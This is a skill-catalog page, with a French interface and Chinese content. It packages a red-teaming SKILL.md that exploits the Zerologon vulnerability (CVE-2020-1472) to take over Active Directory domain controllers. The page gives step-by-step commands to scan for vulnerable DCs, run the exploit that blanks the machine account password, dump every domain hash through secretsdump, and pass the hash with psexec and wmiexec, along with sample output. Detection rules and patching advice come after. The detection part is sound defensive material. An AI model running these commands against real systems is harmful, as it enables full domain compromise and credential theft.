L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

exploiting-zerologon-vulnerability-cve-2020-1472

exploiting-zerologon-vulnerability-cve-2020-1472

利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: exploiting-zerologon-vulnerability-cve-2020-1472 description: 利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。 domain: cybersecurity subdomain: red-teaming tags: [zerologon, cve-2020-1472, netlogon, domain-controller, privilege-escalation, active-directory, ms-nrpc] version: "1.0" author: mahipal license: Apache-2.0

利用 Zerologon 漏洞(CVE-2020-1472)

概述

Zerologon(CVE-2020-1472)是微软 Netlogon 远程协议(MS-NRPC)中的一个严重权限提升漏洞(CVSS 10.0)。该缺陷存在于 AES-CFB8 模式的密码学实现中,初始化向量(IV)被错误地设置为全零。这允许对域控制器拥有网络访问权限的未经认证的攻击者建立 Netlogon 会话,并将 DC 机器账户密码重置为空,从而实现完整的域入侵。微软于 2020 年 8 月修补了此漏洞(KB4571694)。

前置条件

  • 到域控制器的网络访问(TCP 端口 135 和动态 RPC 端口)
  • 无需认证(未认证漏洞利用)
  • 目标 DC 不能启用 2021 年 2 月的强制模式
  • 已安装 Impacket 工具包
  • 红队演练书面授权

MITRE ATT&CK 映射

技术 ID名称战术
T1068利用漏洞进行权限提升权限提升
T1210利用远程服务横向移动
T1003.006操作系统凭据转储:DCSync凭据访问
T1078.002有效账户:域账户持久化

漏洞技术细节

根本原因

Netlogon 认证协议使用带有客户端质询和服务器质询的 AES-CFB8 加密。漏洞存在是因为:

  1. IV 被硬编码为16 字节零
  2. 当明文为8 字节零时,AES-CFB8 以1/256 的概率产生全零的密文
  3. 攻击者可以发送大约 256 次认证尝试(约需 3 秒)以成功

受影响系统

  • Windows Server 2008 R2 到 Windows Server 2019
  • 所有运行未打补丁 Netlogon 服务的域控制器
  • Samba 版本 < 4.8(如果以 AD DC 身份运行)

步骤一:识别易受攻击的域控制器

# 扫描域控制器
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24

# 使用 Zerologon 检查器检查 DC 是否易受攻击
python3 zerologon_tester.py DC01 10.10.10.1

# 使用 CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon

步骤二:利用 Zerologon

# 使用 Impacket 的 CVE-2020-1472 漏洞利用工具
# 这会将 DC 机器账户密码设置为空
python3 cve_2020_1472.py DC01$ 10.10.10.1

# 预期输出:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0(约 256 次尝试后成功)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string

步骤三:使用空密码执行 DCSync

# 使用空哈希执行 DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1

# 输出包含所有域哈希:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::

# 或转储特定账户
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
  -just-dc-user Administrator

步骤四:获取域管理员访问权限

# 使用 Administrator NTLM 进行哈希传递
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1

# 或使用 wmiexec 进行更隐蔽的访问
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1

步骤五:恢复机器账户密码(关键)

警告:利用 Zerologon 后,DC 机器账户密码为空,这将破坏活动目录复制和服务。必须恢复密码。

# 方法一:使用漏洞利用工具的恢复功能
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
  -hexpass <original_hex_password>

# 方法二:从 DC 强制修改机器账户密码
# 以 Administrator 身份连接到 DC 并运行:
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*

# 方法三:重启 DC(它会自动重新生成机器密码)
# 这是最安全的方法,但会导致停机

检测

Windows 事件日志

事件 ID 4742: 计算机账户已更改
- 注意: DC$ 账户的密码更改
- 异常: 短时间内 DC$ 的多次 4742 事件

事件 ID 5805: Netlogon 认证失败
- 多次失败后成功 = Zerologon 尝试

事件 ID 4624(类型 3): 网络登录
- DC$ 账户从意外 IP 登录

网络检测

# 针对 Zerologon 的 Suricata 规则
alert dcerpc any any -> any any (
  msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
  flow:established,to_server;
  dce_opnum:4;
  content:"|00 00 00 00 00 00 00 00|";
  sid:2030870;
  rev:1;
)

Sigma 规则

title: Zerologon 利用尝试
status: stable
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 5805
        LogonType: 3
    timeframe: 5m
    condition: selection | count(EventID) > 100
level: critical
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.2020.1472

防御建议

  1. 立即应用补丁 - KB4571694(2020 年 8 月)并启用 2021 年 2 月的强制模式
  2. 通过注册表启用强制模式:FullSecureChannelProtection = 1
  3. 监控事件 ID 5805 以查找重复的 Netlogon 失败
  4. 部署 Microsoft Defender for Identity(自动检测 Zerologon)
  5. 网络分段 - 限制从用户网络直接访问 DC
  6. 在可能的情况下,阻止来自非 DC 系统的 Netlogon RPC

参考资料

Skills enregistrées